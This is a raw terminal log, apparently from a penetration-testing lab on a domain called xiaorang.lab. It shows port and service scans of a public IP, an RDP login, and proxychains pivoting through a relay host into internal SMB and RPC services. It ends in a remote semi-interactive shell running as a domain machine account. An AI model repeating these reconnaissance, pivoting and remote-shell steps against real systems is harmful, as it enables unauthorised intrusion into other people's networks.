[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with--ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 39.99.149.148:80 Open 39.99.149.148:15774 Open 39.99.149.148:17001 Open 39.99.149.148:49669 Open 39.99.149.148:49668 [~] Starting Script(s) [~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-0600:04-0500 Initiating Ping Scan at 00:04 Scanning 39.99.149.148 [4 ports] Completed Ping Scan at 00:04, 0.63s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 00:04 Completed Parallel DNS resolution of 1 host. at 00:04, 2.52s elapsed DNS resolution of 1 IPs took 2.52s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 00:04 Scanning 39.99.149.148 [5 ports] Discovered open port 80/tcp on 39.99.149.148 Discovered open port 49669/tcp on 39.99.149.148 Discovered open port 17001/tcp on 39.99.149.148 Discovered open port 49668/tcp on 39.99.149.148 Completed SYN Stealth Scan at 00:04, 2.20s elapsed (5 total ports) Nmap scan report for 39.99.149.148 Host is up, received reset ttl 128 (0.60s latency). Scanned at 2026-02-0600:04:09 EST for 2s
PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 128 15774/tcp closed unknown reset ttl 128 17001/tcp open unknown syn-ack ttl 128 49668/tcp open unknown syn-ack ttl 128 49669/tcp open unknown syn-ack ttl 128
Read data files from:/usr/share/nmap Nmap done:1 IP address (1 host up) scanned in5.46 seconds Raw packets sent:9 (372B) | Rcvd:866 (34.656KB)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -A -T4 -v 39.99.149.148 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-0600:27-0500 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Initiating Ping Scan at 00:27 Scanning 39.99.149.148 [4 ports] Completed Ping Scan at 00:27, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 00:27 Completed Parallel DNS resolution of 1 host. at 00:27, 0.50s elapsed Initiating SYN Stealth Scan at 00:27 Scanning 39.99.149.148 [1000 ports] Discovered open port 3389/tcp on 39.99.149.148 Discovered open port 80/tcp on 39.99.149.148 Discovered open port 1433/tcp on 39.99.149.148 Discovered open port 2383/tcp on 39.99.149.148 Completed SYN Stealth Scan at 00:27, 4.40s elapsed (1000 total ports) Initiating Service scan at 00:27 Scanning 4 services on 39.99.149.148 Completed Service scan at 00:27, 5.01s elapsed (4 services on 1 host) Initiating OS detection (try #1) against 39.99.149.148 adjust_timeouts2: packet supposedly had rtt of -1288578 microseconds. Ignoring time. adjust_timeouts2: packet supposedly had rtt of -1287289 microseconds. Ignoring time. adjust_timeouts2: packet supposedly had rtt of -1287289 microseconds. Ignoring time. Retrying OS detection (try #2) against 39.99.149.148 Initiating Traceroute at 00:27 Completed Traceroute at 00:27, 0.02s elapsed Initiating Parallel DNS resolution of 2 hosts. at 00:27 Completed Parallel DNS resolution of 2 hosts. at 00:27, 1.00s elapsed NSE: Script scanning 39.99.149.148. Initiating NSE at 00:27 Completed NSE at 00:27, 15.16s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.28s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Nmap scan report for 39.99.149.148 Host is up (0.0073s latency). Not shown:996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open tcpwrapped | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 1433/tcp open tcpwrapped 2383/tcp open tcpwrapped 3389/tcp open tcpwrapped | ssl-cert:Subject: commonName=WIN-WEB | Issuer: commonName=WIN-WEB | Public Key type: rsa | Public Key bits:2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before:2026-02-05T05:00:02 | Not valid after:2026-08-07T05:00:02 | MD5: cb80 06fc 1fcb 07874b88 e859 23345bb7 | SHA-1: d45d 04179dda 4426 c052 56e5 6367 f41b 95551964 |_SHA-256:9c5d b25a 8259 d66e f2ed e9c1 57e6 1c1e 7ba9 e6bc 0bc2 7f74 631e 88a9 9c38 0251 |_ssl-date:2026-02-06T05:27:55+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: WIN-WEB | NetBIOS_Domain_Name: WIN-WEB | NetBIOS_Computer_Name: WIN-WEB | DNS_Domain_Name: WIN-WEB | DNS_Computer_Name: WIN-WEB | Product_Version:10.0.14393 |_ System_Time:2026-02-06T05:27:40+00:00 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (97%), DD-WRT v24-sp2 (Linux 2.4.37) (97%), Microsoft Windows XP SP3 or Windows 7or Windows Server 2012 (97%), Linux 3.2 (95%), Microsoft Windows XP SP3 (95%), VMware Player virtual NAT device (95%), Linux 4.4 (92%), BlueArc Titan 2100 NAS device (90%) No exact OS matches for host (test conditions non-ideal). Network Distance:2 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 10.23 ms 192.168.21.2 20.26 ms 39.99.149.148
NSE: Script Post-scanning. Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Initiating NSE at 00:27 Completed NSE at 00:27, 0.00s elapsed Read data files from:/usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in31.75 seconds Raw packets sent:2117 (98.106KB) | Rcvd:705 (29.170KB)
ATTENTION! The server uses and invalid security certificate which can not be trusted for the following identified reasons(s);
1. Certificate issuer is not trusted by this system.
Issuer: CN=WIN2016.xiaorang.lab
Review the following certificate info before you trust it to be added as an exception. If you donot trust the certificate the connection atempt will be aborted:
Subject: CN=WIN2016.xiaorang.lab Issuer: CN=WIN2016.xiaorang.lab Valid From: Wed Feb 4 23:59:50 2026 To: Fri Aug 7 00:59:50 2026
Do you trust this certificate (yes/no)? yes Failed to initialize NLA, do you have correct Kerberos TGT initialized ? [proxychains] Strict chain ... 38.55.99.145:9999 ... 172.22.8.46:3389 ... OK Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate. Connection established using SSL.
[proxychains] Strict chain ... 38.55.99.145:9999... 172.22.8.15:445... OK [*] SMBv3.0 dialect used [proxychains] Strict chain ... 38.55.99.145:9999... 172.22.8.15:135... OK [proxychains] Strict chain ... 38.55.99.145:9999... 172.22.8.15:62011... OK [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami xiaorang\win2016$
